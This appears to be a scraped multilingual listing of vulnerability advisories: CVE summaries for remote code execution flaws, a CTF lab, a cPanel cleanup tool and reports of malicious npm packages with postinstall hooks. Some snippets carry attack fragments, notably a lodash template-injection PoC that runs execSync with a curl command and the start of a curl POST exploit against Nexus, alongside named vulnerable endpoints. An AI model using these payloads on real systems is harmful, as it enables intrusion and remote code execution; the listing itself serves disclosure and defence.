CVE-2026-84452 Windows ML CLI: CORS misconfig enables localhost RCE

Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cliapi.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the alloworigins setti...

CVE-2026-22679

CVE-2026-22679：泛微 E-cology 未授权 RCE（通过 dubboApi 调试端点） -critical 摘要 泛微 E-cology 10.0（20260312 构建版本之前）在 /papi/esearch/data/devops/dubboApi/debug/method 端点中存在一个严重的未授权远程代码执行漏洞。攻击者无需身份验证即可通过 interfaceName 和 methodName POST 参数注入任意命令，实现完全的系统接管。Shadowserver 基金会自 2026-03-31 起已检测到活跃利用。 快速风险提示： CVSS 9.3 -...

CVE-2026-44402

CVE-2026-44402 Ejecución remota de comandos completa preautenticada en Voltronic Power SNMP Web Pro 1.1 Contenido Proveedor afectado: https://voltronicpower.com/ Producto afectado: SNMP Web Pro 1.1 SNMP Web Pro 1.1 contiene una vulnerabilidad de ejecución remota de código no autenticada en el...

CVE-2020-10199

CVE-2020-10199 之前在 PT 的時候，遇到了目標環境中有架設 Nexus Repository Manager，踩了一些坑最後還是拿到 Shell 了。 稍微做個紀錄，未來有用到就比較方便回顧。 目標版本: Sonatype Nexus Repository Manager OSS 3.20.1-01 拿 PoC 測試 Code Execution 確認漏洞存在. 注: 此時是登入 session 的, 因為剛好有發現到目標環境 default credential 問題 root@kitploit: curl -i -s -k -X $'POST' \ -H $'Host...

CVE-2026-0770

🚀 CVE-2026-0770 – Langflow RCE execglobal PoC Remote Code Execution vulnerability in Langflow 📌 Affected Software This vulnerability affects: Langflow 🧠 Vulnerability Overview CVE-2026-0770 is a Remote Code Execution RCE vulnerability in the: root@kitploit: /api/v1/validate/code endpoint. When...

CVE-2026-33826

🚨 CVE-2026-33826: Windows Active Directory 远程代码执行（RCE） 📌 概述 CVE-2026-33826 是一个影响 Active Directory 域服务（AD DS） 的严重 远程代码执行（RCE） 漏洞。该缺陷存在于 AD 服务通过 Kerberos 或 RPC 协议处理畸形身份验证请求的方式中。 一个 未经身份验证 的攻击者，只要能够访问 域控制器（DC） 的网络，就可以发送精心构造的数据包序列，导致 lsass.exe 进程发生 内存损坏 ，从而以 SYSTEM 权限执行任意代码，实现 对域的完全接管 。 ⚠️ 警告！...

CVE-2026-4800-POC

CVE-2026-4800-POC Aviso de Seguridad https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc POC root@kitploit: const = require'lodash'; Object.prototype.imports = 'x=process.getBuiltinModule"childprocess".execSync"curl https://example.com"':undefined .template'', ; Flujo Usar un...

CVE-2026-0300

PAN-OS CVE-2026-0300 非破坏性暴露调查工具 概述 该工具是一个非破坏性暴露调查工具 ，用于评估目标 PAN-OS 服务是否可能暴露与 CVE-2026-0300 相关的网络可访问面。 该工具旨在用于授权的防御性安全验证、资产暴露审查和漏洞分类。它不会 利用该漏洞，不会 发送内存破坏载荷，也不会 尝试使目标设备崩溃或入侵。 目标 CVE 该工具设计用于与以下内容相关的暴露评估： CVE： CVE-2026-0300 厂商： Palo Alto Networks 产品： PAN-OS 受影响组件： User-ID 认证门户（也称为强制门户） 漏洞类型： 缓冲区溢出 /...

CVE-2026-66786

A flaw was found in submariner. In cert-auth mode, the connection configuration is built using free-form strings from the Custom Resource Definition CRD without proper validation. A malicious cluster can exploit this by publishing a CableName that includes newlines and ipsec.conf directives. This...

CVE-2026-49832

DSpace open source software is a repository application which provides durable access to digital resources. From versions 8.0-rc1 to before 8.4, versions 9.0-rc1 to before 9.3, and version 10-rc1, Remote Code Execution RCE is possible via Velocity Templates used by DSpace for COAR Notify/LDN...

CVE-2026-23479

CVE-2026-23479 — Redis Use-After-Free RCE PoC 集合 HackSpeak 分发镜像。本仓库整合了三个公开 PoC/检测工具 ,代码与各上游一致。 ⚠️ 包含实际利用代码与检测工具 ;仅供安全研究、漏洞验证与授权测试使用,请在可销毁环境运行,勿对未授权系统使用。 漏洞简述 CVE-2026-23479 是 Redisredis-server的 Use-After-FreeUAF 漏洞,可导致远程代码执行RCE 。 根因 :unblockClientOnKeysrc/blocked.c未检查 processCommandAndResetClient...

gimp:2.8 security update

An update is available for module.gimp, pygtk2, module.pygobject2, module.python2-pycairo, gimp, pygobject2, module.pygtk2, python2-pycairo. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...

EUVD-2026-70247

A flaw was found in submariner. In cert-auth mode, the connection configuration is built using free-form strings from the Custom Resource Definition CRD without proper validation. A malicious cluster can exploit this by publishing a CableName that includes newlines and ipsec.conf directives. This...

CVE-2026-66786

Submariner 's certificate-based IPsec authentication mode (IPSecCertAuthMode: true) is vulnerable to ipsec.conf stanza injection via remote-supplied CableName and subnets fields in the Custom Resource Definition. Because these free-form strings are incorporated into the connection configuration w...

CVE-2026-66786 Submariner: submariner: ipsec.conf stanza injection via remote-supplied cablename and subnets

A flaw was found in submariner. In cert-auth mode, the connection configuration is built using free-form strings from the Custom Resource Definition CRD without proper validation. A malicious cluster can exploit this by publishing a CableName that includes newlines and ipsec.conf directives. This...

cpanel-malware-cleaner-cve-2026

🚨 cPanel 恶意软件清理工具 – CVE-2026-41940 修复工具 一款轻量且强大的安全工具，用于检测、清除并预防由近期 cPanel 漏洞（包括 CVE-2026-41940 ）引发的恶意软件感染。 🔥 功能特性 检测并清除恶意软件、僵尸网络和 Web Shell 修复与 cPanel 及 WHM 漏洞相关的安全问题 一键部署 🛡️ 修复内容 该工具专门用于缓解利用以下漏洞的攻击： CVE-2026-41940（cPanel 与 WHM / WP2 漏洞） 通过 PHP 实现的远程代码执行（RCE） Web Shell 注入 📊 为何使用此工具？ 可在受感染服务器上即时生效...

cve-2025-55182

🛡️ React2Shell CTF 🚀 Bienvenido a React2Shell-CTF , un entorno Dockerizado diseñado para practicar la explotación de React2Shell CVE-2025-55182. React2Shell es una vulnerabilidad crítica que afecta a aplicaciones basadas en React. Este repositorio proporciona un desafío Capture The Flag CTF seguro...

MAL-2026-15824 Malicious code in @stellarshift/token-units (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211 Package advertises BigInt token-unit conversion helpers parseUnits/formatUnits but declares a postinstall hook scripts/postinstall.js that invokes...

Malicious code in @stellarshift/evm-address-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ad9957f1e31e5afe261cb73c0c5b76ff23a86b23ebae0704e7e2934be79979 The package declares a postinstall script that invokes syncRemoteManifest in lib/runtime/manifest-sync.js. The destination URL is not present in...

MAL-2026-15823 Malicious code in @stellarshift/evm-address-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ad9957f1e31e5afe261cb73c0c5b76ff23a86b23ebae0704e7e2934be79979 The package declares a postinstall script that invokes syncRemoteManifest in lib/runtime/manifest-sync.js. The destination URL is not present in...